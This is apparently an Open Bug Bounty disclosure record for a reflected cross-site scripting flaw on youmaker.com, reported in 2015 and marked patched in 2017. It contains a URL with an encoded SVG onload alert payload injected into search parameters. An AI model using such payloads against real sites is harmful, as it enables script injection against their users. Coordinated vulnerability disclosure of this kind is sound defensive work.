youmaker.com XSS vulnerability

2015-10-26T18:07:00
ID OBB:95224
Type openbugbounty
Reporter retr0
Modified 2017-11-23T08:50:00

Description

Vulnerable URL:
http://www.youmaker.com/video/search?sk=%22%3E%3Csvg/onload=alert%28/XSSPOSED/%29%3E&flvflag;=&gb5sk;=%22%3E%3Csvg/onload=alert%28/XSSPOSED/%29%3E---------%22%3E%3Csvg/onload=alert%28/XSSPOSED/%29%3E&page;=1&code;=b5
Details:

Description| Value
---|---
Patched:| Yes, at 23.11.2017
Latest check for patch:| 23.11.2017 08:50 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 4925
Google Pagerank| 5
VIP website status:| Yes
Check youmaker.com SSL connection:| (Grade: A)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability reported| 26 October, 2015 18:07 GMT
Vulnerability existence verified and confirmed| 26 October, 2015 18:10 GMT
Vulnerability patched by the website owner| 23 November, 2017 08:50 GMT